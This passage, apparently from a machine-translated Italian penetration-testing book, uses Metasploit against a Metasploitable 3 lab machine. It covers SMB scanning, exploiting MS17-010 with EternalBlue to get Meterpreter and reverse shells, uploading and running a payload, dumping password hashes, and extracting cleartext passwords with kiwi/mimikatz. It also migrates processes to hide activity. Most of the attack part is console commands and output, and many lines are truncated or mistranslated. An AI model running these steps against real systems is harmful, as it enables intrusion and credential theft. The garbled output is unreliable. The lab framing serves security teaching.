abbastanza facili. So cosa è probabile che sia in esecuzione su porte come
22, 135, 139, 445, 3306 e altre. Molte nell'intervallo 8000, tuttavia,
potrebbero non essere così facilmente identificabili. Dal momento che ce
ne sono così tante, sembra ragionevole riempire quei buchi. Il modo più
semplice per farlo, piuttosto che eseguire diversi moduli di scansione di
servizi specifici, è usare una scansione di versione da nmap . Nel nostro
caso, ciò significa eseguire db_nmap -sV 192.168.1.223 . Ciò popolerà il
database Metasploit con i servizi identificati dai risultati di nmap . Puoi
vedere una ricerca dei servizi che appartengono a questo particolare host
nell'esempio 6-3 . Il parametro R imposta essenzialmente il parametro
RHOSTS per la ricerca.
Esempio 6-3. Database dei servizi
msf6 ausiliario(scanner/portscan/tcp) >
servizi Servizi
========
host porta proto nome stato ---- ---- ----- -------- 192.168.1. 21 tcp ftp aperto
223
192.168.1.22 tcp ssh aperto
223
192.168.1.80 tcp http aperto
223
192.168.1.135 tcp msrpc aperto
223
192.168.1.139 tcp netbios-ssn aperto
223
192.168.1.445 tcp microsoft-ds aperto
223
192.168.1.1617 tcp aperto
223
192.168.1.3306 tcp mysql aperto
223
192.168.1.3389 tcp ms-wbt-server aperto
223
192.168.1.3700 tcp aperto
223
192.168.1.3920 tcp ssl/exasoftport aperto
223 1
192.168.1.4848 tcp ssl/http aperto
223
192.168.1.5985 tcp aperto
223
192.168.1.7676 tcp java-message-se aperto
223 servizio
Sebbene questo sia un elenco troncato per motivi di spazio, possiamo
procedere in numerose direzioni in base ai servizi che abbiamo
identificato. Vale la pena effettuare una scansione aggiuntiva dei servizi,
tuttavia, per vedere se possiamo ottenere maggiori dettagli su alcuni dei
servizi e delle implementazioni di protocollo sugli host di destinazione.
Scansione SMB
Il protocollo Server Message Block (SMB) è stato utilizzato da Microsoft
Windows come un modo per condividere informazioni e gestire i sistemi in
remoto per molte versioni. Utilizzando questo protocollo, possiamo
raccogliere molti dettagli sul nostro target. Per cominciare, possiamo
ottenere la versione del sistema operativo e il nome del server. I moduli
Metasploit possono essere utilizzati per estrarre dettagli dal target. Mentre
molti di essi richiedono l'autenticazione, alcuni possono essere utilizzati
senza bisogno di credenziali di accesso. Il primo che esamineremo, come
puoi vedere nell'esempio 6-4 , è il modulo smb_version . Questo fornisce
dettagli specifici sul nostro sistema target. Noterai nei risultati che il target
è un sistema Windows Server 2008R2. Questa è la versione del sistema
Metasploitable a cui ci stiamo rivolgendo. È decisamente obsoleto, ma è
ciò che lo rende perfetto per i test.
Esempio 6-4. Utilizzo di smb_version sul sistema di destinazione
msf6 ausiliario(scanner/portscan/tcp) > usa
ausiliario msf6
ausiliario(scanner/smb/smb_version) > imposta RHO
RHOSTS => 192.168.1.223 msf6
ausiliario(scanner/smb/smb_version) > esegui
[*] 192.168.1.223:445 - SMB rilevato (versione
dialetto:SMB 2.1) (firme:facoltativo) (uptime:40
(guid:{ba78ab54-638b-4b27-97c8-0ab811149240})
(dominio au:VAGRANT-2008R2)Windows 2008 R2
Standard SP (nome:VAGRANT-2008R2) (gruppo di
lavoro:WORKGROUP)
[+] 192.168.1.223:445 - L'host esegue SMB
(dialetto preferito: SMB 2.1) (firme: facoltative
(guida:{ba78ab54-638b-4b27-97c8-0ab811149240}) ↩
(dominio di autenticazione:VAGRANT-2008R2)Windows
200
(nome:VAGRANT-2008R2) (gruppo di
lavoro:WORKGROUP)
[*] 192.168.1.223: - Scansionato 1 di 1 host
[*] Completata l'esecuzione del modulo ausiliario
Alcuni sistemi ti permetteranno di raccogliere un elenco di condivisioni che
sono state pubblicizzate sulla rete come disponibili per la lettura o la
scrittura in remoto senza fornire credenziali. Se un amministratore di
sistema sta facendo le cose giuste, questo non sarebbe possibile. Tuttavia,
in nome della convenienza, a volte vengono fatte le cose sbagliate. Di
conseguenza, vale la pena provare a enumerare le condivisioni sui sistemi
remoti. L'esempio 6-5 mostra l'uso di smb_enumshares per acquisire le
condivisioni che sono esposte al mondo esterno.
Esempio 6-5. Utilizzo di msfconsole per la scansione
msf6 ausiliario(scanner/smb/smb_version) > usa aux
msf6 ausiliario(scanner/smb/smb_enumshares) >
mostra le opzioni del modulo
(auxiliary/scanner/smb/smb_enumshares)
Nome Impostazione corrente obbligatoria
---- --------------- -------HIGHLIGHT_NAME_ nome utente| sì MODELLO
password|utente| pass|Groups.xml
LogSpider 3 non è
Profondità massima 999 sì
RHOSTI sì
DominioSMB . no
SMBPass non disponibile
Numero utente SMBUs
Condividi no
ShowFiles falso sì
SpiderProfiles vero no
SpiderShares falso no
FILI 1 sì
msf6 ausiliario(scanner/smb/smb_enumshares) >
imposta RHOSTS => 192.168.1.223 msf6
ausiliario(scanner/smb/smb_enumshares) > esegui
[*] 192.168.1.223:139 - Avvio modulo
[-] 192.168.1.223:139 - Accesso non riuscito:
host non abilitato: SMB non valido [*]
192.168.1.223:445 - Avvio modulo
[-] 192.168.1.223:445 - Errore durante il
tentativo di
STATO_ACCESSO_NEGATO
[*] 192.168.1.223: - Scansionato 1 di 1 host [*]
Esecuzione del modulo ausiliario completata msf6
ausiliario(scanner/smb/smb_enumshares) > set
SMBUser => vagrant
msf6 ausiliario(scanner/smb/smb_enumshares) >
imposta SMBPass => vagrant msf6
ausiliario(scanner/smb/smb_enumshares) > esegui
[*] 192.168.1.223:139 - Avvio modulo [-]
192.168.1.223:139 - Accesso non riuscito: host
non abilitato: SMB non valido [*]
192.168.1.223:445 - Avvio modulo
[!] 192.168.1.223:445 - peer_native_os è solo
(versione corrente: SMB
[!] 192.168.1.223:445 - peer_native_lm è solo
(versione corrente: SMB
[+] 192.168.1.223:445 - ADMIN$ - (DISCO|SPECIA
[+] 192.168.1.223:445 - C$ - (DISCO|SPECIALE) D
[+] 192.168.1.223:445 - IPC$ - (IPC|SPECIALE)
[*] 192.168.1.223: - Scansionato 1 di 1 host
[*] Completata l'esecuzione del modulo ausiliario
In base all'esecuzione di questo modulo, sembra che le credenziali siano
necessarie per raccogliere informazioni dal nostro target. Ciò non è
inaspettato, ovviamente, ma vale comunque la pena provare a eseguire la
scansione. In questo caso, il nome utente e la password sul sistema remoto
sono noti. Non sarà sempre così, ma se riesci a fare qualche ipotesi, puoi
eseguire la scansione con il nome utente e la password e ottenere quei
dettagli aggiuntivi. Il lato positivo è che il server remoto è configurato per
non consentire richieste anonime di questa natura, il che significa che il
server richiede l'autenticazione.
Scansione delle vulnerabilità
SMB è un buon obiettivo da investigare ulteriormente, semplicemente
perché è comunemente usato nelle reti aziendali. Anche senza credenziali,
possiamo eseguire scansioni di vulnerabilità dall'interno di Metasploit. Nel
corso degli anni, le vulnerabilità sono state esposte in
Finestre relative a SMB e al Common Internet File System
(CIFS). Alcune di queste vulnerabilità hanno exploit disponibili in
Metasploit, ma prima di passare attraverso il processo di esecuzione
dell'exploit, puoi verificare se il sistema potrebbe essere vulnerabile al
problema noto. Le vulnerabilità SMB non sono le uniche che hanno
controlli disponibili, ma poiché stiamo lavorando con un sistema Windows
e abbiamo esaminato i sistemi SMB, potremmo anche verificare le
vulnerabilità. Nell'esempio 6-6 , vedremo se il nostro sistema
Metasploitable 3 è vulnerabile a MS17-010, noto anche come EternalBlue .
NOTA
EternalBlue è uno degli exploit sviluppati dalla National Security Agency
(NSA), in seguito trapelato dal gruppo Shadow Brokers. È stato utilizzato come parte degli attacchi
ransomware WannaCry.
Caricheremo un altro modulo ausiliario che verificherà la vulnerabilità.
Esempio 6-6. Scansione di un target per MS17-010
msf6 ausiliario(scanner/smb/smb_enumshares) > usa
Moduli corrispondenti
================
# Nome Divulgazione Grado
Data
- ---- ---------- ---- 0 ausiliario/scanner/ ↩
normale smb/smb_ms17_010
Interagisci con un modulo tramite nome o indice.
Per esame ausiliario/scanner/smb/smb_ms17_010
[*] Utilizzo di
ausiliario/scanner/smb/smb_ms17_010 msf6
ausiliario(scanner/smb/smb_ms17_010) > mostra o
Opzioni modulo (ausiliario/scanner/smb/smb_ms17_0
Nome Impostazione corrente Obbligatorio Des
---- --------------- -------- - CHECK_ARCH true
no Che hos CHECK_DOPU true no Che hos CHECK_PIPE
false no Che hos NAMED_PIPES /usr/share/metaspl
yes Lis /wordlists/named_p oit ipes.txt RHOSTS
yes L'htt usi usi RPORT 445 yes L'SMBDomain . no
L'aut SMBPass no L'
SMBUser no I THREAD 1 sì Il (ma
msf6 ausiliario(scanner/smb/smb_ms17_010) >
imposta RH RHOSTS => 192.168.1.223
msf6 ausiliario(scanner/smb/smb_ms17_010) >
imposta TH THREAD => 10 msf6
ausiliario(scanner/smb/smb_ms17_010) > esegui
[+] 192.168.1.223:445 - L'host è probabilmente
VULNER
Server 2008 R2 Standard
[*] 192.168.1.223:445 - Scansionato 1 di 1 host
[*] Completata l'esecuzione del modulo ausiliario
Una volta identificata l'esistenza della vulnerabilità, tramite uno scanner di
vulnerabilità come OpenVAS o testando tramite moduli in Metasploit,
possiamo passare allo sfruttamento. Non aspettarti, però, che l'esecuzione
di uno scanner di vulnerabilità ti dia tutte le vulnerabilità di un sistema. È
qui che è importante eseguire scansioni delle porte e altre ricognizioni.
Ottenere un elenco di servizi e applicazioni ci darà ulteriori indizi sugli
exploit da cercare. Utilizzando la funzione di ricerca in Metasploit ci darà
moduli da utilizzare in base ai servizi aperti e alle applicazioni in ascolto
sulle porte aperte.
Sfruttare il tuo obiettivo
Sfrutteremo la vulnerabilità EternalBlue per entrare nel nostro sistema di
destinazione. Eseguiremo questo exploit due volte. La prima volta,
useremo il payload predefinito. La seconda volta, cambieremo il payload
per ottenere un'interfaccia diversa. La prima volta, caricheremo l'exploit (
Esempio 6-7 ). Non è necessario modificare alcuna opzione, anche se un
numero discreto potrebbe esserlo. L'unica opzione che ho impostato prima
di eseguire l'exploit è l'host remoto. Vedrai che l'exploit funziona
perfettamente e otteniamo l'accesso remoto al sistema. Questo particolare
exploit ha un alto tasso di successo, ma non tutti gli altri. Solo perché hai
successo una volta con questo exploit, non dovresti dare per scontato che
avrà sempre successo. Infatti, se esegui questo exploit ripetutamente,
potresti scoprire che l'exploit inizierà a generare errori. Nel tempo, la
memoria inizia a corrompersi.
Esempio 6-7. Sfruttamento di Metasploitable 3 con EternalBlue
msf6 ausiliario(scanner/smb/smb_ms17_010) > usa
ex eternalblue [*] Nessun payload configurato,
predefinito su windows/ msf6
exploit(windows/smb/ms17_010_eternalblue) > RHOST
=> 192.168.1.223 msf6
exploit(windows/smb/ms17_010_eternalblue) >
[*] Avviato il gestore TCP inverso su
192.168.1.43:4
[*] 192.168.1.223:445 - Utilizzo di
scanner/ausiliari
[+] 192.168.1.223:445 - L'host è probabilmente
VULNER
Server 2008 R2 Standard
[*] 192.168.1.223:445 - Scansionato 1 di 1 host
[+] 192.168.1.223:445 - Il bersaglio è
vulnerabile
[*] 192.168.1.223:445 - Connessione alla
destinazione per
[+] 192.168.1.223:445 - Connessione stabilita per
[+] 192.168.1.223:445 - Il sistema operativo di
destinazione selezionato è valido
[*] 192.168.1.223:445 - Dump del buffer grezzo
CORE (51
[*] 192.168.1.223:445 - 0x00000000 57 69 6e 64 6
32 Windows Server 2
[*] 192.168.1.223:445 - 0x00000010 30 30 38 20 5
Norma 20 008 R2
[*] 192.168.1.223:445 - 0x00000020 37 36 30 31 2
63 7601 Pacchetto di assistenza 1
[*] 192.168.1.223:445 - 0x00000030 6b 20 31
[+] 192.168.1.223:445 - L'arco di destinazione è
stato selezionato vali
Risposta DCE/RPC
[*] 192.168.1.223:445 - Tentativo di exploit con
12 G
[*] 192.168.1.223:445 - Invio di tutti i
frammenti tranne l'ultimo
[*] 192.168.1.223:445 - Avvio del pool non di
paging g
[+] 192.168.1.223:445 - Invio di buffer SMBv2
[+] 192.168.1.223:445 - Chiusura del buffer
SMBv2 della connessione SMBv1.
[*] 192.168.1.223:445 - Invio del buffer SMBv2
finale
[*] 192.168.1.223:445 - Invio dell'ultimo
frammento di
[*] 192.168.1.223:445 - Ricezione della risposta
da e
[+] 192.168.1.223:445 - ETERNALBLUE sovrascrive
com
[*] 192.168.1.223:445 - Invio dell'uovo a
corrotto
[*] 192.168.1.223:445 - Attivazione senza
corruzione
[*] Fase di invio (200774 byte) a 192.168.1.223
[+] 192.168.1.223:445 - =-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.223:445 - =-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.223:445 - =-=-=-=-=-=-=-=-=-=-=-=-=
[*] Sessione 1 di Meterpreter aperta
(192.168.1.43:44 2023-08-05 18:06:36 -0400
meterpreter >
L'exploit è stato impostato di default su un payload Meterpreter. Questo è
un ottimo payload di uso generale che ti darà accesso a livello di sistema.
Se impari Meterpreter, puoi usare gli stessi comandi indipendentemente
dal fatto che tu stia sfruttando sistemi Linux, Windows o macOS. Vedrai
cosa possiamo fare con una shell Meterpreter a breve.
Se preferisci usare un prompt dei comandi di Windows, puoi usare uno dei
vari payload che ti daranno quello. Nell'esempio 6-8 , sto ancora usando
l'exploit EternalBlue, ma ho cambiato il payload. Questo ti darà un prompt
dei comandi di Windows. Non tutti i payload funzioneranno con ogni
exploit. Quello qui è un payload TCP inverso che invia il prompt dei
comandi al sistema in cui è in esecuzione Metasploit.
Esempio 6-8. Sfruttare EternalBlue per ottenere un prompt dei comandi
exploit msf6(windows/smb/ms17_010_eternalblue) >
carico utile/windows/x64/shell_reverse_tcp
CARICO UTILE => windows/x64/shell_reverse_tcp
exploit msf6(windows/smb/ms17_010_eternalblue) >
[*] Avviato il gestore TCP inverso su
192.168.1.43:4
[*] 192.168.1.223:445 - Utilizzo di
scanner/ausiliari
[+] 192.168.1.223:445 - L'host è probabilmente
VULNER
Server 2008 R2 Standard 7601 Service Pack 1 x64
[*] 192.168.1.223:445 - Scansionato 1 di 1 host
[+] 192.168.1.223:445 - Il bersaglio è
vulnerabile
[*] 192.168.1.223:445 - Connessione alla
destinazione per
[+] 192.168.1.223:445 - Connessione stabilita per
[+] 192.168.1.223:445 - Il sistema operativo di
destinazione selezionato è valido
[*] 192.168.1.223:445 - Dump del buffer grezzo
CORE (51
[*] 192.168.1.223:445 - 0x00000000 57 69 6e 64 6
2 3 Server Windows 2
[*] 192.168.1.223:445 - 0x00000010 30 30 38 20 5
Norma 20 008 R2
[*] 192.168.1.223:445 - 0x00000020 37 36 30 31 2
63 7601 Pacchetto di assistenza 1
[*] 192.168.1.223:445 - 0x00000030 6b 20 31
[+] 192.168.1.223:445 - L'arco di destinazione è
stato selezionato vali
Risposta DCE/RPC
[*] 192.168.1.223:445 - Tentativo di exploit con
12 G
[*] 192.168.1.223:445 - Invio di tutti i
frammenti tranne l'ultimo
[*] 192.168.1.223:445 - Avvio del pool non di
paging g
[+] 192.168.1.223:445 - Invio di buffer SMBv2
[+] 192.168.1.223:445 - Chiusura del buffer SMBv2
della connessione SMBv1.
[*] 192.168.1.223:445 - Invio del buffer SMBv2
finale
[*] 192.168.1.223:445 - Invio dell'ultimo
frammento di
[*] 192.168.1.223:445 - Ricezione della risposta
da e
[+] 192.168.1.223:445 - ETERNALBLUE sovrascrive
com
[*] 192.168.1.223:445 - Invio dell'uovo a
corrotto
[*] 192.168.1.223:445 - Attivazione senza
corruzione
[*] Sessione shell di comando 2 aperta
(192.168.1.43
2023-08-05 18:55:12 -0400
[+] 192.168.1.223:445 - =-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.223:445 - =-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.223:445 - =-=-=-=-=-=-=-=-=-=-=-=-=
Bandiera a conchiglia:
Microsoft Windows [Versione 6.1.7601]
C:\Windows\system32>
Vedrai che l'exploit funziona esattamente come prima. L'unica differenza
tra queste due esecuzioni di exploit è il payload, che non ha alcun impatto
sull'exploit. Ci presenta solo un'interfaccia diversa al sistema. Questo era
un tradizionale processore di comandi di Windows. Questo è ciò che hai
visto per decenni da Windows ed effettivamente ciò che hai visto con DOS
prima di allora, nel caso tu abbia mai visto o utilizzato DOS. Mentre il
processore di comandi è un'interfaccia familiare, puoi anche utilizzare un
payload di PowerShell passando a qualcosa come
payload/windows/x64/powershell_reverse_tcp . PowerShell è
enormemente potente e può essere utilizzato anche su macOS e Linux,
anche se deve essere installato su quei sistemi operativi. Per un'interfaccia
veramente agnostica, Meterpreter è fantastico e ti darà un accesso rapido
e facile a funzioni che non otterresti dal tradizionale interprete di comandi
o persino da PowerShell.
Utilizzo di Meterpreter
Una volta che abbiamo la nostra shell Meterpreter, possiamo iniziare a
usarla per raccogliere informazioni. Possiamo scaricare file. Possiamo
caricare file. Possiamo ottenere elenchi di file e processi. Possiamo
ottenere una cattura dello schermo del desktop, supponendo che ce ne sia
uno: i server non hanno sempre un'interfaccia desktop. Ho già detto che
Meterpreter è indipendente dal sistema operativo. Ciò significa che lo
stesso set di comandi funzionerà indipendentemente dal sistema operativo
compromesso. Significa anche che quando si esaminano processi o elenchi
di file, non è necessario conoscere le specifiche del sistema operativo o i
comandi del sistema operativo. Invece, è sufficiente conoscere i comandi
Meterpreter.
NOTA
Tieni presente che non tutti gli exploit utilizzeranno il payload Meterpreter. Inoltre, non tutti gli exploit
saranno in grado di utilizzare un payload Meterpreter. Tutto ciò che è contenuto in questa sezione è
rilevante solo quando sei in grado di utilizzare un payload basato su Meterpreter. A volte i payload
hanno limitazioni di dimensione o altre considerazioni che potrebbero limitare il tipo di payload
consentito.
Sebbene sfruttare e ottenere accesso ai sistemi sia sicuramente un inizio,
non è l'obiettivo finale, o almeno non è comunemente l'obiettivo finale. Di
sicuro non è l'obiettivo finale per aggressori o tester seri. Dopotutto,
quando esegui test di sicurezza, ti potrebbe essere chiesto di vedere fin
dove puoi arrivare, proprio come farebbe un aggressore. Meterpreter
fornisce un facile accesso a funzioni che ci consentiranno di approfondire la
rete utilizzando una tecnica chiamata pivoting . Il pivoting può essere
eseguito con un modulo post-exploitation. I moduli post-exploitation
possono anche essere utilizzati per raccogliere molti dettagli sul sistema e
sugli utenti.
Un dettaglio da notare sui moduli post-sfruttamento è che sono specifici
del sistema operativo. Ciò è diverso da
I comandi Meterpreter stessi. Invece, i moduli post-exploitation sono script
Ruby, proprio come gli script exploit e ausiliari. Vengono caricati ed eseguiti
tramite la connessione tra il tuo sistema Kali e il sistema di destinazione.
Un sistema Windows ha i moduli gather, manage e capture. Linux e macOS
hanno solo i moduli gather.
Nozioni di base del meterpreter
Meterpreter fornisce comandi per aggirare il sistema, elencare file,
ottenere informazioni sui processi e manipolare file. Nella maggior parte
dei casi, scoprirai che i comandi seguono quelli per Unix. I comandi
funzioneranno su Windows, ma il nome del comando è lo stesso di quello
usato sui sistemi operativi simili a Unix. Ad esempio, per ottenere un
elenco di file, usi ls . Su un sistema Windows, il comando è dir , ma quando
usi ls da Meterpreter, otterrai un elenco di file. Allo stesso modo, se
vuoi ottenere un elenco di processi, usi ps . È lo stesso del comando Linux.
Su Windows, hai bisogno di un'applicazione grafica per ottenere le stesse
informazioni. Questo ti assicura di avere un elenco di processi basato su
testo da cui puoi copiare e incollare quando necessario.
Una bella caratteristica di Meterpreter è che non richiede di cercare alcun
riferimento relativo alle funzioni che offre. Invece, tutto ciò che devi fare è
chiedere. Un comando help ti fornirà un elenco di tutti i comandi
disponibili e fornirà dettagli su di essi. Inoltre, Meterpreter cercherà anche
i dati per te. Il comando search cercherà i file sul sistema che hai
compromesso. Questa caratteristica ti eviterà di cercare manualmente nel
file system ciò di cui hai bisogno. La tua ricerca può includere caratteri jolly.
Di conseguenza, puoi usare la stringa di ricerca *.docx per individuare i file
creati da versioni più recenti di Microsoft Word.
Se hai bisogno di inviare file aggiuntivi al tuo host di destinazione per
continuare il tuo sfruttamento, puoi usare upload in Meterpreter. Caricherà
il file sul tuo sistema Kali sul sistema di destinazione. Se stai caricando un
file eseguibile, puoi eseguirlo da Meterpreter usando execute . Puoi vedere
l'upload e l'esecuzione nell'Esempio 6-9 . Vedrai che viene creato un
processo, anche se non ottieni una sessione interattiva perché la shell
Meterpreter non si trasforma in un canale per la comunicazione tra il
processo e il tuo endpoint. Puoi ottenere un elenco di canali usando
channel -l . Puoi anche elencare i processi sul sistema di destinazione per
verificare che il processo sia in esecuzione, se necessario.
Esempio 6-9. Caricamento ed esecuzione con Meterpreter
meterpreter > upload payload.exe [*] Caricamento
in corso: /home/kilroy/payload.exe -> payl [*]
Caricati 152,50 KiB di 152,50 KiB (100,0%): /
payload.exe [*] Completato:
/home/kilroy/payload.exe -> payl meterpreter >
execute -f payload.exe Processo 5180 creato.
Per recuperare i file dal sistema di destinazione, si usa download . Se si fa
riferimento a un filepath su un sistema Windows, è necessario usare
doppie barre perché una singola barra rovesciata è comunemente un
carattere di escape. Ad esempio, se voglio accedere a un
Documento Word in C:\temp , utilizzerò il download
C:\\temp\\file.docx per essere sicuro di ottenere il file corretto. Specifico il
percorso per essere specifico sul file corretto e devo usare i caratteri
backslash aggiuntivi perché altrimenti il backslash potrebbe essere visto
come un carattere di escape da Meterpreter.
Quando si tratta di sistemi Windows, alcuni dettagli possono essere utili,
tra cui la versione di Windows, il nome del sistema e il gruppo di lavoro a
cui appartiene il sistema. Per ottenere queste informazioni, puoi usare il
comando sysinfo . Questo ti dirà anche l'architettura della CPU, se è a 32
bit o a 64 bit.
Informazioni utente
Dopo aver sfruttato un sistema, supponendo che tu abbia eseguito un
exploit e non sia entrato tramite password rubate, acquisite o indovinate,
potresti voler iniziare a raccogliere credenziali. Ciò include la raccolta di
nomi utente e hash delle password. Tieni presente che le password non
vengono memorizzate in testo normale. Invece, vengono sottoposte a hash
e il valore hash viene memorizzato. I moduli di autenticazione sul sistema
operativo capiranno come sottoporre a hash tutte le password fornite con i
tentativi di accesso nello stesso modo in cui vengono memorizzate le
password. Gli hash possono quindi essere confrontati per vedere se
corrispondono. Se corrispondono, si presume che la password sia stata
fornita.
NOTA
L'ipotesi di hash delle password corrispondenti si basa sull'idea che due dati non genereranno mai lo
stesso valore hash. Se due dati generano lo stesso valore hash, chiamato collisione , gli elementi della
sicurezza informatica iniziano a essere esposti a compromessi. Il problema delle collisioni è
considerato attraverso un problema matematico/statistico chiamato paradosso del compleanno.
Una funzione di Meterpreter è hashdump . Questa funzione fornisce un
elenco degli utenti e degli hash delle password dal sistema. In Linux, questi
dettagli sono archiviati nel file /etc/shadow . In Windows, i dettagli sono
archiviati nel Security Account Manager (SAM), un elemento del Registro di
sistema di Windows. In entrambi i sistemi operativi, otterrai il nome
utente, l'ID utente e l'hash della password, tanto per cominciare.
L'esempio 6-10 mostra l'esecuzione di hashdump sul sistema
Metasploitable 3 dopo che è stato compromesso con l'exploit EternalBlue.
Vedrai il nome utente nel primo campo, seguito dall'ID utente e quindi
dall'hash della password. Per ottenere la password dall'hash, devi eseguire
un password cracker. Gli hash sono funzioni unidirezionali, il che significa
che l'hash non può essere invertito per rigenerare i dati che hanno creato
l'hash. Invece, puoi generare hash da potenziali password e confrontare
l'hash risultante con ciò che conosci. Quando ottieni una corrispondenza,
avrai la password, o almeno una password che ti consentirà di accedere
come quell'utente.
Esempio 6-10. Acquisizione degli hash delle password
meterpreter > hashdump
Amministratore:500:aad3b435b51404eeaad3b435b51404
e
anakin_skywalker:1011:aad3b435b51404eeaad3b435b5
artoo_detoo:1007:aad3b435b51404eeaad3b435b51404ee
ben_kenobi:1009:aad3b435b51404eeaad3b435b51404ee
boba_fett:1014:aad3b435b51404eeaad3b435b51404ee:d
chewbacca:1017:aad3b435b51404eeaad3b435b51404ee:e
c_tre_pio:1008:aad3b435b51404eeaad3b435b51404ee
darth_vader:1010:aad3b435b51404eeaad3b435b51404ee
greedo:1016:aad3b435b51404eeaad3b435b51404ee:ce26
Ottenere hash delle password non è l'unica attività che possiamo svolgere
con Meterpreter quando si tratta di utenti. Potresti dover scoprire chi sei
dopo aver compromesso un sistema. Sapere chi sei ti dirà quali permessi
hai. Ti dirà anche se devi aumentare i tuoi privilegi per ottenere diritti
amministrativi che ti consentono di fare cose più interessanti, che possono
includere il mantenimento dell'accesso al sistema dopo lo sfruttamento.
Per ottenere l'ID dell'utente che sei, usi getuid . Questo ti dice l'utente che
Meterpreter sta eseguendo come s sul tuo host di destinazione.
Un'altra tecnica che può essere utilizzata per raccogliere credenziali è il
modulo post-sfruttamento check_credentials . Questo acquisisce non solo
gli hash delle password ma anche i token sul sistema. Un token su un
sistema Windows è un oggetto che contiene informazioni sull'account
associato a un processo o thread. Questi token potrebbero essere utilizzati
per impersonare un altro utente perché il token rappresenta i diritti e le
autorizzazioni dell'utente e dimostra che l'utente si è già autenticato.
L'esempio 6-11 mostra l'esecuzione di check_credentials con una parte
degli hash delle password e dei token che sono stati estratti.
Esempio 6-11. Esecuzione di check_credentials
meterpreter > esegui
post/windows/gather/credentials
[*] Esecuzione del modulo contro VAGRANT2008R2 [+] Raccolta hash in corso...
Estratto: Amministratore:aad3b435b51404eeaa04
Estratto: anakin_skywalker:aad3b435b51404eea
Estratto: artoo_detoo:aad3b435b51404eeaad314
Estratto: ben_kenobi:aad3b435b514eaad3b435b5
Estratto: boba_fett:aad3b435b51404eea3b43514
Estratto: chewbacca:aad3b435b51404eeaadb435b
Estratto: c_three_pio:aad3b435b51404eeaad3b
<-- output troncato -->
[+] Raccolta gettoni...
AUTORITÀ NT\SERVIZIO LOCALE
AUTORITÀ NT\SERVIZIO DI RETE
AUTORITÀ NT\SISTEMA
VAGRANT-2008R2\sshd_server
VAGRANT-2008R2\vagrant
Nessun token disponibile
meterpreter >
Alcuni dei token che si è tentato di estrarre sono account comuni sui
sistemi Windows. L'account Local Service è quello utilizzato dal gestore del
controllo dei servizi e ha un livello elevato di autorizzazioni sul sistema
locale. Non avrebbe privilegi nel contesto di un dominio Windows, quindi
non potresti utilizzarlo su più sistemi. Tuttavia, se comprometti un sistema
in esecuzione con questo account, avrai essenzialmente autorizzazioni
amministrative. Altri account sono account di servizio, come sshd_server ,
che sono le credenziali con cui è in esecuzione il server SSH.
Un modulo di post-sfruttamento disponibile per l'esecuzione in
Meterpreter è kiwi , che sostituisce mimikatz , una comune utility di
password-dumping. Il modulo kiwi include funzioni relative all'acquisizione
di password. Mentre puoi ottenere la maggior parte di queste in altri modi,
kiwi fornisce un altro meccanismo per ottenere credenziali. Molto è
cambiato da quando era mimikatz , quindi devi abituarti al modulo kiwi se
hai esperienza precedente con mimikatz . L'esempio 6-12 mostra l'uso di
kiwi_cmd per ottenere le password di accesso.
Esempio 6-12. Utilizzo di Kiwi per ottenere le password
meterpreter > carica kiwi
Caricamento estensione kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( be
## \/## > http://blog.gentilkiwi.com/mim
'## v ##' Vincent LE TOUX ( vi
'#####' > http://pingcastle.com / http
Successo. meterpreter > kiwi_cmd
sekurlsa::logonPasswords
ID di autenticazione: 0; 273968
(00000000:00042e30
Sessione: Interattiva da 1
Nome utente: vagabondo
Dominio: VAGRANT-2008R2
Server di accesso: VAGRANT-2008R2
Ora di accesso: 8/8/2023 3:41:31 PM SID: S-1-521-2803265569-188284663 msv: [00010000]
CredentialKeys
*
Italiano:
*
Codice SHA1: c805f88436bcd9ff534ee86c59e
[00000003] Primario
*
Nome utente: vagabondo
*
Dominio: VAGRANT-2008R2
*
NTLM: e02bc503339d51f71d913c245d3 * SHA1:
c805f88436bcd9ff534ee86c59e tspkg: wdigest: *
Nome utente: vagrant
*
Dominio: VAGRANT-2008R2
*
Password: vagabondo
kerberos :
* Username : vagrant
* Domain
: VAGRANT-2008R2
* Password : (null)
ssp :
credman :
sistema. L'esempio 6-12 è l'output di un singolo utente perché occupa così
tanto spazio che includere tutti gli utenti sarebbe diventato noioso da
guardare e consumare troppe pagine. Se
vuoi vedere tutto l'output, puoi procurarti una copia di Metasploitable 3 e
seguire la pista di exploit che abbiamo seguito. Puoi vedere la password in
chiaro. kiwi è un buon modo per ottenere password in chiaro.
Oltre alla ricerca delle password, possiamo usare msv per ottenere gli hash
delle password. Poiché Windows usa Kerberos per effettuare
l'autenticazione da sistema a sistema, è utile poter estrarre
Autenticazione Kerberos dopo aver compromesso un sistema. Ottenere
informazioni Kerberos potrebbe consentirci di migrare dal nostro attuale
sistema compromesso a un altro sistema sulla rete. Il modulo kiwi estrarrà
le informazioni Kerberos utilizzando il sottocomando kerberos . Ci sono
molti altri modi per ottenere password dal modulo kiwi .
Manipolazione del processo
Vorrai fare alcune cose con i processi. Una delle prime è migrare la tua
connessione dal processo che hai compromesso. Questo ti aiuterà a
coprire le tue tracce connettendoti a un processo meno ovvio. Ad
esempio, potresti migrare a un processo Explorer.exe o, come nel caso
dell'Esempio 6-13 , al processo notepad.exe . Per fare questa migrazione di
processo, dobbiamo caricare un altro modulo post-sfruttamento. Questo è
post/windows/manage/migrate . Determinerà automaticamente un altro
processo a cui migrare e, come in questo caso, avvierà un processo se
necessario.
Esempio 6-13. Migrazione al processo notepad.exe
meterpreter > esegui post/windows/gestisci/migra
[*] Esecuzione del modulo contro VAGRANT-2008R2
[*] Processo server corrente: spoolsv.exe (1100)
[*] Generazione del processo notepad.exe per
migrare in
[*] Falsificazione del PPID 0
[*] Migrazione in 4292
[+] Migrazione riuscita nel processo 4292
Possiamo anche esaminare i processi di dumping e recuperare qualsiasi
dato che potrebbe essere archiviato nello spazio di memoria del processo.
Questo ci fornirà tutto ciò che potrebbe essere in memoria mentre
l'applicazione è in esecuzione e ci consentirà di estrarre password o altre
informazioni sensibili. Per fare ciò, caricheremo l' utilità ProcDump dal
team Sysinternals di Microsoft. Otterremo un file di dump da un processo
in esecuzione che catturerà non solo il codice del programma ma anche i
dati dal programma in esecuzione. Prima di poter ottenere il file di dump,
